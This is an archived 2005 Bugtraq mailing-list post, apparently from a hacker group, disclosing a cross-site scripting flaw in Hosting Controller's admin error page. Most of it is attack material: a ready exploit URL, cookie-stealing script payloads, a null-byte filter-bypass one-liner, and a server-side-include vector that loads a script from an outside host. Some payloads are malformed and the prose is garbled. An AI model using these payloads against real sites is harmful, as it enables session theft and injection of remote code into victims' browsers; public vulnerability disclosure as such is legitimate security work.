bugtraq - Cross-Site Scripting (CSS) in Hosting Controller All Version and hot fix it hehe ;)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050628115753.17858.qmail@securityfocus.com>
Date: 28 Jun 2005 11:57:53 -0000
From: ActionSpider@...urityfocus.com, "[at]"@securityfocus.com,
	linuxmail@...urityfocus.com, "[dot]"@securityfocus.com,
	org@...urityfocus.com
To: bugtraq@...urityfocus.com
Subject: Cross-Site Scripting (CSS)  in Hosting Controller All Version and
 hot fix it hehe ;)

Cross-Site Scripting (CSS)  in Hosting Controller All Version and hot fix it hehe ;)     
                                                                                           ActionSpider@...uxmail.org

[Ashiyane Security Team ]                                   
[SegmentationFault Group]   iam sun-os hehe :P                                  

Greetz to  :   S4P0    - failed - Xsupr3mo   - Status-x -   Stealh            
Greetz to  :  berhooz  - nima   - ehsan      -  Mehrtash and  ...             
www.ashiyane.com                                     *

*******************************************************************************************

path : /admin/hosting/error.asp?error=

http://www.victim.com/admin/hosting/error.asp?error=Xss vul

example :

JavaScript code : <script>alert(document.cookie)</script>

in victim :

http://www.victim.com/admin/hosting/error.asp?error=%3Cscript%3Ealert(document.cookie)%3C/script%3E

1-about css :

Cross-site scripting attacks place malicious code, usually JavaScript, in locations where
other users see it. Target fields in forms can be addresses, bulletin board comments, and
so on. The malicious code usually steals cookies, which would allow the attacker to impersonate
the victim, or perform a social engineering attack, which may trick the victim
into divulging his or her password. Hotmail and AOL have been plagued by this type of
social engineering attack.
One test suffices to indicate whether or not an application is vulnerable to a CSS attack.
This is not intended to be a treatise on JavaScript or uber-techniques for manipulating
browser vulnerabilities. Here are three methods that, if successful, indicate that an
application is vulnerable

ok it is too easy for u if u want work with other commend(other commend ??? hehe yeah other commend) 

elite Hacker Can use it for Acsess to Server hehe see other example for this mthoding ;)

<script> SRC="c:\boot.ini"></script>

<script>alert(src=C:\boot.ini)</script>

<script>alert(document.cookie)</script>

<script>alert('document.domain='+document.domain)</script>

<script>document.write(document.cookie)</script>

<script>alert('ActionSpider!')</script>

and Here is a little known XSS attack vector using null characters. 
You can actually break up the HTML itself using the same nulls as shown above. 
I've seen this vector bypass some of the most restrictive XSS filters to date 
(again, only works in IE, Netscape 8.0 in trusted site mode and older versions Opera): 
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out

SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector:
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://Ashiyane.org/action.js></SCRIPT>'"-->